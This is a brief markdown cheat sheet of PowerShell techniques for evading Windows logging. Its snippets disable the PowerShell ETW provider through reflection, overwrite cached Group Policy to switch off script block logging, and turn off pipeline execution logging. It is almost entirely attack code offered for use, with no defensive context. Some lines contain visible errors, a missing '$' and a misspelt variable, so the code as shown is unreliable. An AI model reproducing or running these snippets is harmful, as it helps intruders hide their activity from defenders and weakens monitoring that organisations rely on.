# Logging and Monitoring Evasion

## POWERSHELL REFLECTION

#### 1)

```
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')

$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)

[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic, Instance').SetValue(etwProvider,0);
```

#### 2) Compile to .ps1 script

## GROUP POLICY TAKEOVER

#### 1)

```
$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static')

$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)

$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0

$GroupPolicyettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
```

## ABUSING LOG PIPELINE

```
$module = Get-Module Microsoft.Powershell.Utility

$module.LogPipelineExecutionDetails = $false

$snap = Get-PSSnapin Microsoft.Powershell.Core

$snap.LogPipelineExecutionDetails = $false
```
